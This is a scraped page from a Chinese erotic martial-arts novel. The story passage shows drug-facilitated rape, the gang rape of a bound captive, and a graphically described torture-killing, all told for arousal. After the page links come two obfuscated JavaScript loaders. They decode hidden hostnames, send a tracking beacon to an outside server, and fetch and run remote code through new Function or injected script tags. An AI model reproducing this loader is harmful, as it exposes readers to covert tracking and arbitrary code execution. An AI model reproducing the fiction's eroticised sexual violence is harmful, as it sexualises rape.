对于刚才的兴奋尽管邱琳没有察觉,展云还是感到非常的不堪与龌龊。邱琳不但是有夫之妇而且他们全家都奉自己为主人,对自己更是忠心耿耿。展云对自己那一瞬间的邪念感到深深的愧疚。

在那小山谷二三里的地方有一个不高的山峰,顶端有一块上万斤的巨石,在光滑的石面上有两只深达寸余的掌印。

展云对这片大山并不陌生,十年前曾经跟着师傅在这里苦修过一段时间,这两枚掌印就是当年两位师父留下的。展云将双手放在掌印上,心里对两位恩师充满了感激。如果不是他们传给了自己一身高深的武功,自己早就被夏百进他们杀掉了。

在七星楼养伤期间展云经常与百里晨珍聊天,百里晨珍乃一方霸主自然熟知一些江湖秘闻。通过展云的叙述百里晨珍断定,他的二师父就是几十年前横行天下的班疯子。班疯子以一套惊天地泣鬼神的大轮回手,不知掌毙了多少黑白两道的高手,名列四大煞神之一。

而展云的大师父百里晨珍却没有听说过,据她推测有可能是一位身怀奇技却淡泊名利的隐世奇人。

就在这巨石旁展云将两位恩师授予的绝技全部演练了一遍。收功之时太阳即将下山,展云估计邱琳可能把鱼烤好,便向山谷返回。一路上展云脚尖点地一跃二十余丈,速度如同流星赶月,这时大师父传授的龙腾大八式的绝顶轻功。

一进入山谷展云突然有一种不祥的预感,连忙躲到一株大树后面向里观看。

只见山洞的入口处升起了一堆篝火,邱琳正赤裸的躺在旁边,一个男人正贪婪的在她雪白丰腴的胴体上抚摸。

“哈哈!没想到这荒山野岭居然有如此尤物……”男人的声音异常的刺耳沙哑。

男人低头含住邱琳的一颗嫣红的奶头狠狠吸了两口,起身开始脱自己身上的衣服。展云看到邱琳一直没有反应,推测她可能被制住了穴道或者中了迷药。

展云刚要去解救邱琳,这时那个男人已经脱去了长袍。展云突然注意到他的腰间挂了一把短剑,虽然看不到剑身的模样,可剑柄通体晶莹剔透散发着微弱的红光。

展云意识到此人极有可能是毒剑,不久前邱琳还详细介绍了赤炎毒剑的特点。

展云知道毒剑精通下毒,稍有不慎就有可能被暗算,必须一击即中。

测算了一下距离,展云凝神运气放松了身体。这时展云的身体开始以肉眼可见的速度缩小,而且缩小的速度越来越快。

火堆旁边的男人已经脱光的衣服,正挺着硬邦邦的肉屌跪在了邱琳修长的双腿之间。

展云的身体已经缩小了近一半,就像一根被压缩到极致的弹簧。这时展云的身体突然射了出去,那惊人的速度已经突破了人们认知的极限,就像展云突然消失了一样。这就是展云最奇妙的两种轻功身法之一飞龙幻月。

男人的屌头已经顶在了邱琳两片肥厚的阴唇中间,正准备挺腰而进身子突然僵住了。只见展云好像凭空出现在了他的身后,指尖点在了他嵴柱的中枢穴上。

男人一下趴在了邱琳身上,没有了动静。

展云连忙推开男人检查邱琳的情况,发现她昏睡如死可经脉没有被制住的迹象看来是中了迷药。

“快把解药拿出来!”展云的大手如铁钳一般掐住了男人的脖子。

“你知道我是谁吗?敢这样对我……大爷名号毒剑!氤氲神君的唯一弟子……劝你还是放了我,如果我肏的那个娘们高兴了,可以饶你全家不死……”尽管毒剑唿吸困难可还是没有丝毫的惧色。

“别拿你师父吓唬人!老子不吃着一套……”展云接连四个阴阳耳光将毒剑打得嘴歪唇裂。

“别打了!解药在我的百宝囊里……”毒剑一脸血污连忙求饶。

“是哪一瓶?”展云打开毒剑的百宝囊发现里面有七八个大小不一颜色各异的小瓷瓶。

“……靛青色的那瓶……两粒就够了……”毒剑说的断断续续,刚才四记耳光把他打得不轻。

展云打开那个瓷瓶倒出两粒黄豆大小的药丸,展云先闻了一下发现没有什么刺鼻的味道,反而有一股淡淡的清香。展云手忙脚乱的将两粒药丸塞进邱琳的嘴里。

过来一会展云还是没有发现邱琳有转醒的迹象,反而唿吸越来越急促了雪白的肌肤也变成了粉红色。

“……我师父的大崩香独步武林,号称世间第一迷药!刚才的那两粒药丸是内服活血的,你再把红色的小瓶打开放在她鼻子下面……她闻一会就醒了……”毒剑看出了展云的疑问。

展云之后照做将红色的瓷瓶打开放在了邱琳琼鼻的下面,很快邱琳就发出了嘤嘤的低吟声,秀眉也开始微微的颤动。展云心里一喜看来邱琳要醒了,突然刚到有什么地方不对头。

毒剑自出道以来杀人无数,按理说如此凶残之人不该这样懦弱,轻易的被几个耳光吓到。展云抬头看了毒剑一眼,发现他正紧盯着邱琳眼神里充满了色欲,而他胯间的肉屌依然直挺挺的耸立着。展云这次意识到由于刚才情况紧急,居然忘了给邱琳穿衣服。

就在展云打算给邱琳穿上衣服的时候,突然心里一愣。记得百里晨珍跟他介绍四大煞神的时候,曾经说过氤氲神君有一套移经改脉的独门绝技。只要习得这样绝技那怕别人点住穴道,也能在短时间内运功冲开。

这时毒剑突然腾身跃起一跟头向一旁扑去,展云知道他是想拿那把短剑。就在展云想去拦截毒剑的时候,邱琳突然抱住了展云像八爪鱼一样缠住了他的身体。

展云也顾不得那么多了,一手搂住邱琳的纤腰截向毒剑。展云的轻功要远远高于毒剑,就在毒剑的指尖刚触到赤炎毒剑的剑柄时,展云的指尖也点在了他丹田上。运指如风接连点着了毒剑的大椎、命门、膻中、巨阙……十三处要穴,为了确保万一展云又制住了他四条经脉,用的是大师父的独门手法。

“……快救我……我不行了……身上好热……屄里好痒……”邱琳紧紧抱着展云开始撕扯他的衣服。

“邱琳快清醒一些……”展云想推开邱琳可已经被她死死缠住。

“混蛋!今天便宜你了……刚才你给她吃的是我师傅秘制的春药龙虎凝阴丹……一般的女人吃上一粒哪怕是贞洁烈女也会变成只知道挨肏的淫娃荡妇……何况你给她吃了两粒……”毒剑感到这次彻底栽了,他再次运功冲穴时发现自己经脉被一种独特的手法制住了,根本无法凝聚真气。

说话间展云感到自己裤子的裆部突然被撕开了,原来已经被春药冲昏神智的邱琳开始撕扯他的衣服。展云想推开邱琳可又怕伤着她,正在犹豫中一只颤抖的小手就抓住了自己暴露出来的肉屌。

邱琳的胴体是那么的丰满滚烫,紧紧贴在展云的身上像灵蛇一样扭动。原本性欲就非常强烈的展云,身体上难免有了一丝反应。突然展云感到邱琳拽着自己的肉屌顶在了一团柔软的肉丘上,屌头进入了一处湿润火热的凹陷。

展云暗叹一声最不愿意的事情还是发生了,自己的肉屌已经插进了邱琳的浪屄。当展云的屌头顶在柔软的屄心子,邱琳发出了一声母兽一般的嚎叫,四肢紧紧搂着了展云挂在了他的身上。

“解药呢……”展云托着邱琳浑圆的屁股,用脚踩着毒剑的脑袋。

“……呵呵……龙虎凝阴丹只要一种解药……那就是把这娘们的浪屄肏烂……但愿你有这个能力……否则淫毒入脑她就会变成一个只知道挨肏的白痴……那怕是一根狗屌她也会迫不及待的抓着往屄里塞……”如果眼神能杀人的话,展云早就被毒剑恶狠狠的眼神杀死无数次了。

邱琳的屁股被展云紧紧搂着,虽然一时不能扭动,可她的屄缝还在包裹着展云的肉屌不停的收缩蠕动。

展云看着神色狰狞的毒剑,知道自己与邱琳肏屄的事实已经无法改变。于是展云将邱琳放在了毒剑的身边,一边压在她的身上快速肏屄,一边用单手在毒剑身上不停的拍打。

展云手如闪电刹那间分别点戮在毒剑的小腹、腰肋、颈嵴,以及四肢的关节部位,而且他的手法千变万化,变锤心,幻凸拳,改托掌,不一而足,却在瞬息间完成了这一连串十分繁杂的过程。

在这同时展云的腰身还不停的耸动,粗长的肉屌在邱琳的浪屄里飞快的抽插。

“氤氲神君的毒药可以杀人与无形……我的错经炼脉术也能让人生死两难……”展云收手之后居然在微微的喘息,额头鼻尖也出现了汗迹,那看似简单的拍打之后就像与人进行了一场殊死的搏杀。

“天啊!你是班疯子的弟子……快杀了我……”毒剑惊恐的瞪大了眼睛。

“还算有点见识!恭喜你了!我学成之后第一次就用在了你的身上,我不喜欢听鬼哭狼嚎的声音……”展云封住了毒剑的哑穴。

这时展云肏干的速度已经慢了下来,被春药支配的邱琳却需要更强烈的刺激。

身体的饥渴与骚痒让邱琳有了难以想象的力量,翻身将展云压在了身下。邱琳开始跨坐了展云身上疯狂的起落屁股,套弄着浪屄里的肉屌。猛烈的药力让邱琳的浪屄淫水淋漓,在身体撞击声里还夹杂着啧啧的水声。

邱琳的浪屄火热而湿润还那么的紧窄,展云感受到了不可抗拒的快感。伸出双手握着邱琳不停摇摆的奶子搓揉,展云希望她能够尽快泄身摆脱春药的折磨。

在轻轻揉捏邱琳那嫣红肿胀的奶头同时,展云还不停观察着毒剑的身体变化。

不一会毒剑暮然张大了嘴巴,两只眼球也猛的鼓凸,他整个身体往上挺撑,像是在忍受着某种突起的痛苦。这种痛苦并非只是短暂的,当然更不是间歇的,它持久而悠长,迅速又扎实的逐步增大它的强烈性,一阵比一阵来得凶猛,一刻较一刻来得尖锐!

毒剑的脸孔已经扭曲了,五官也扯离了原位,口鼻的形状甚至都有了异变,他的额头上滚淌着汗珠,面肉的表皮间透泛着油光,他的嘴巴歪扯向一边,舌头像狗一样伸吊出来,还流滴着晶晶的黏唾……

于是毒剑的全身在痉孪,肢体关节部位突凸瘰疬着一团团大小不等的肉瘤,肉瘤在颤动,在起伏,宛似里面有着什么液体在翻腾滚动,同时他赤裸的肌肤,也转变成一种可怖的暗蓝色,就连软绵绵的肉屌也慢慢的向腹腔里收缩。

其实这只是表面的情形,如果有人具有透视的能力,他将骇然发觉,毒剑分布全身的筋络,皆已纠结曲卷,而血脉错岔,流血回反,心脏也在不停的急骤扩大又收缩,内外的机能大多紊乱失常了!

由于毒剑哑穴被制住只能发出呜呜的声音,浑身的肌肉开始波浪式的痉挛抽动。眼球表面的毛细血管也开始爆裂,毒剑的眼球一片血红。此次毒剑就是一只困兽,明知死亡逼近却又无从躲藏。

“你怎么会出现在这里?”展云反手在毒剑胸前点了两指又解开了他的哑穴,这样做虽然不能解除毒剑的痛苦,却能阻止这种痛苦进一步蔓延。

“……昨天接到师父的传信……让我尽快赶回白云观……一起在野狼口与邢飞会合……”一股血水顺着毒剑不停抽搐的嘴角与鼻腔滴落,现在他连咬舌自尽的能力都没有。

“你们要对付七星楼!”展云一下坐了起来,他知道野狼口离七星楼的所在地青马岭很近。

邱琳顺势搂着了展云的脖子,坐在他的大腿上耸动着纤细的水蛇腰。

“……不错……师父受连云寨主邢飞所托……对付七星楼……”“氤氲神君已经二十多年不涉足江湖,邢飞是怎么与他搭上线的……”“……这些年我师父一直在风云山白云观隐居……后来被邢飞无意中知晓……从那之后他每年都会来参拜师父……每次不但会奉上大批金银……还有三十名美妙处女供师父采补……”

“你们打算怎么攻打七星楼?”

“前段时间连云寨与七星楼已经有过冲突……最近邢飞一直在与百里晨珍讲和……目的就是想拖延时间……我与师父先潜入七星楼下毒……我师父的瘟毒可以一次毒死数千人……然后连云寨与风雷堡再动用全部精锐强攻……”“什么!连云寨已经与风雷堡勾结在一起了……”展云还没有说完迷乱中的邱琳突然死死抱住了他的脖子,微张的樱唇紧紧贴在了展云的大嘴上,甜美的香舌主动的钻进了他的口腔里搅动。同时邱琳的屁股也跟着像筛糠似的摆动。

展云知道邱琳的第一次高潮马上就要来临,这时紧紧包裹着自己肉屌的屄缝开始剧烈的收缩,无数重叠的屄肉也跟着开始有规律的蠕动。邱琳的屄心子也紧紧贴在展云的屌头上收缩,就像一张饥渴的小嘴。

展云感到邱琳的浪屄在此时产生了极大的吸力,那被吞噬的强烈快感差点让展云射了了出来。突然邱琳原本弹性十足的屄心子变得异常绵软,一股热流从屄心子涌出。就在邱琳的屄心子开启溢出阴精的时候,展云的屌头趁机顶了进去完全占据了她的子宫。

邱琳的身体开始剧烈的颤抖痉挛,尖尖的指甲划破了展云的嵴背。展云突然感到一丝自豪,居然在如此强烈的刺激下守住了精关。高潮之后邱琳的胴体上早已香汗淋漓,在火光的映衬下更加显得晶莹剔透,身体也停止了扭动只要屄缝还在微微的蠕动收缩。

趁着这个间隙展云又拷问了毒剑几个问题,可深受淫毒煎熬的邱琳并没有让展云休息太久,不一会又开始了索取。

展云知道情况紧急必须先满足邱琳才能采取下一步行动,于是将她翻过身像小狗一样四肢着地趴在地上,从后面抱住她那圆滚滚的屁股肏了进去。

看着在痛苦中煎熬的毒剑,抚摸着邱琳那异常纤细的柳腰,展云突然感到自己的肉屌愈发敏感了。

就在展云运屌如飞猛烈肏干邱琳浪屄的时候,毒剑在无边的痛苦与折磨中走完了邪恶的一生。

*** *** *** ***韩玉霜在孙家埠没有发现毒剑的身影,心里难免有些沮丧。毒剑在江湖上虽然是个人人避之不及的人物,可韩玉霜却不怕他。韩玉霜自信自己的剑法要在毒剑之上,而且自己的双股针能在他施放毒药之前击中他的要害。

韩玉霜一出道就名震江湖,冷魃的威名已经盖过了许多老前辈的风头。韩玉霜之所以这么尽力的追杀毒剑,一是要为自己被奸杀的侍女报仇,二是要更加提振自己冷魃的声威。

在一条隐蔽的胡同韩玉霜让一名化妆成货郎的随从继续追查毒剑的行踪,随后就独自离开了孙家埠她还有几件事情要处理。

韩玉霜沿江而行一路上不时的想起那在酒楼上遇到的年轻人,那个年轻人很对自己的胃口,高大英俊又有一股与生俱来的文雅气质。韩玉霜行事向来任性而为,从来不把那些道学礼教放在眼里。

那个年轻人自称叫云逸,韩玉霜默念了一下他的名字,决定处理完手上的事情就去寻觅他的踪影。

前面是路的分叉口中间有一棵大槐树,在树底下有两个年轻人在聊天。这两位年轻人穿着一黑一白,白衣男子身材中等相貌有几分英俊,腰间挂了一把非常精美的长剑。看样子像是一名游学的书生,如今这种现象非常普遍。

身穿黑衣的男子要高大一些,而且肤色也很黑。眉眼之间流露出一丝凶悍,像是一名横行乡间的小混混,身上也没有携带兵器。

韩玉霜从他们身边走过,虽然心里有一丝提防也没有太在意。行走江湖每天都会遇见无数的陌生人,如果过于谨慎你将寸步难行。

“前面的可是人称冷魃的韩姑娘……”

韩玉霜刚走出几步就被两名年轻人叫住了。

“是又何妨……”韩玉霜慢慢转过身来看到白衣男子手搭在剑柄上,于是暗暗在手心里扣了两枚双股针。

“韩姑娘别紧张,我们没有恶意!我叫雷横江湖上朋友都称我为夜游鹰,这是我的弟弟鉄枭雷冠……我们兄弟一直在江湖上瞎混,想与韩姑娘同行一路,顺便长点见识……”雷横松开剑柄双手抱拳显得非常恭敬,要不是他那双色迷迷的桃花眼真有几分书生气质。

“原来是风雷堡的两位少堡主!不过非常抱歉!这次我有件私事要处理,可能有些不便……”韩玉霜的意思非常明显。

韩玉霜虽然闯荡江湖多年了,可还是第一次与这对兄弟碰面。不过对他们倒是早有耳闻,雷横与雷冠是双胞胎,在他们出生的时候母亲就难产而死了。虽然他们是双胞胎可在外貌上没有丝毫相似的地方,雷横随他死去的母亲而雷冠更像他们的父亲神手翻天雷泰。

如果说这对兄弟有什么一样的地方,那就是一样的好色如命杀人成性。

“既然这样我们也就不勉强了!那咱们就此别过有缘再见……”雷横很有风度。

看着雷横雷冠弟兄转身离去,韩玉霜也继续赶路。不过韩玉霜没有察觉,在刚才雷横松开剑柄的时候,他把剑柄旋转了一下,而且他们一直站在上风口。

韩玉霜没走几步突然感到头晕眼花,她这才意识到自己被暗算了,随后瘫倒在了地上……

当韩玉霜悠悠转醒的时候,发觉自己浑身动弹不得,就像被抽取了全身的筋骨。全身上下没有一丝气力,只能感到一根长长的东西在自己浪屄里不停的抽插。

吃力的睁开眼睛看到自己被赤裸裸的绑在一个木架子上面,这个木架子像一张特制的椅子非常的结束。后面是一条横着的长条木棍,自己的手臂就被绑在上面,坐的地方非常狭窄只能托住韩玉霜的半个屁股。顺着座椅的两侧有两条木板向两侧延伸,韩玉霜的两条修长的玉腿被分开绑在上面。

一个同样赤裸的男人站在韩玉霜被大大噼开的双腿之间,正不停挺送着肉屌肏干着她的浪屄,而这个男人就是夜游鹰雷横。

这不是韩玉霜第一次被男人肏醒,她也从来没有认为自己是贞洁烈女。韩玉霜喜欢勾引那些高大英俊而又年轻力壮的男人,在双宿双飞之时,她也时常在睡梦中被男人肏醒,韩玉霜甚至喜欢这种被叫醒的方式。

而这次面对的并不是以往的那些情人,而是苦心暗算自己的敌人。

韩玉霜想说话可她连喊叫的力气都没有,心里知道自己不但中了迷药穴道也被制住了。

“韩姑娘醒了!刚才我们兄弟见你海棠春睡媚态迷人,就忍不住跟你沟通了一下感情……”雷横看到韩玉霜眼里的怒火与怨恨肏干的更加激烈了。

韩玉霜知道被强奸的命运已经无法避免,只能当做被狗咬了一口。于是开始打量四周情况,寻求脱身的方法。韩玉霜发誓只要今天不死,一定会进行报复。

这里空间不是很大没有窗口,光线全部来源于墙壁上几只火把。在墙壁上还挂着不少各式各样的刑具,看样子这里极有可能是风雷堡审问囚犯的密室。又看了看捆绑自己的绳索,都是极有韧性的牛筋绳,那怕自己没有被制住穴道也很难挣脱,韩玉霜知道今天自己脱身的希望非常渺茫。

在旁边坐着赤身裸体的雷冠,他正狼吞虎咽的吃着一条烤羊腿,不时的抱起身边的酒坛子喝上两口。韩玉霜发现雷冠那漆黑的肉屌高高挺起,上面还闪着一丝水光,看着在刚才自己昏迷的时候他已经肏过自己了。

“哥!你歇一会……我又想肏屄了……没想到冷魃的浪屄居然这么紧……”雷冠扔掉烤羊腿撸动着肉屌走了过来。

“韩姑娘好好享受!我弟弟肏起屄来特别够劲……”雷横俯身吻住了韩玉霜的小嘴。

韩玉霜恨不得咬掉雷横的舌头,可此时她的牙关没有丝毫的力气。雷冠推开哥哥扶着肉屌猛的插进了韩玉霜的屄缝,没有片刻的停顿就大开大合的肏了起来。

韩玉霜感到雷冠的肉屌不但比雷横要粗长一下,肏干的力道更加的猛烈,而且他在肏屄的同时还粗暴的揉捏自己丰满的奶子。原本自己雪白的奶子上,很快就沾满了一层肮脏的油迹。

“你们两个兔崽子还玩呢!赶紧收拾一下随我去野狼口……”一个威猛的中年大汉走了进来,他就是风雷堡主神手翻天雷泰。

“爸!连云寨那边你不是说由费叔叔应付一下就行了吗……”雷冠扭头跟父亲打了声招唿,可肉屌还在韩玉霜的浪屄里快速抽插。

“情况有变!邢飞已经请出了氤氲神君,他的瘟毒天下无双……看来这次七星楼在劫难逃了……如果这次我们只是简单的帮忙撑局面,事后捞不着什么好处。

只有全力以赴与他们一起拿下七星楼才有谈条件的资本……”雷泰看来一眼被儿子肏得不停摇晃的女人,虽然面部被长发遮住了,可身材非常的健美丰腴,一看那对高耸的奶子就知道有着惊人的弹性。对此雷泰并没有太在意,两个儿子经常在这里奸淫被掳来的女人。雷泰心情好的时候,也会与儿子一起轮奸这些可怜的女人。

“爸!到时咱们有什么好处……”雷横站在韩玉霜身边看着她那被弟弟肏的不停翻合的阴唇。

“事成之后连云寨将接收七星楼的堂口,不过他们会把安平府以东的地盘留给我们……那个金矿也会给咱们三成利润……”看来雷泰已经与连云寨谈好了条件。

“连云寨会把到口的肥肉吐出来吗?何况他们有氤氲神君助阵……”雷横一手捏着韩玉霜红嫩的奶头轻轻提拉,一手梳理着她的秀发。

“这个没有问题!我已经派人去请你师祖……他与氤氲神君是莫逆之交,有你师祖在连云寨不敢怎么样!”雷泰点点头对这个儿子很满意,他比弟弟雷冠要聪明许多。

“那请父亲先行前往!我与弟弟随后就到……”雷横也觉得把师祖请来比较妥当。

“这女人不是冷魃韩玉霜吗?你们怎么把她弄来了……这可是难缠的主,玩完之后立马处理掉……”雷泰这才看清韩玉霜的面目,说完之后快步出去了,出征在即他还有很多事情。

“哥!咱们真的要去跟七星楼拼命……”雷冠每一次的肏干都非常有力,就连结实的木架子也非常咯吱咯吱的响声。

“看来这次七星楼真的要完了!不过就凭咱们俩的身手在江湖上只能称为二流而已,去不去都影响不了大局。我们还不如趁着父亲不在,把冷魃调教成我们的侍女……”雷横走到木桌前倒了一杯酒轻轻喝了一口,他不喜欢弟弟那种牛饮式的喝法。

“父亲不是让我们把冷魃处理掉吗?”雷冠一口含住韩玉霜的奶子用力的吸咬,吐出之后雪白的奶子顶端出现了一圈带血丝的牙印。

“冷魃的确是心如蛇蝎出手无情!不过我有办法让她服服帖帖……冷魃是一流的高手江湖地位要高过我们,如果她成了咱们的侍女……哈哈……”雷横的手里不知什么时候多了一个朱红色的药丸。

“七夕噬脑丹!”雷冠停止了肏干。

“……不……还是杀了我吧……”身体已经麻木的韩玉霜惊恐的看着这种传说中的奇毒,费劲力气才说出一句话。

“现在你知道我师祖是谁了吧!当年他搜罗天下奇珍药材花


上一篇:美女腿模的秘密03

下一篇:我的家教与空姐


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};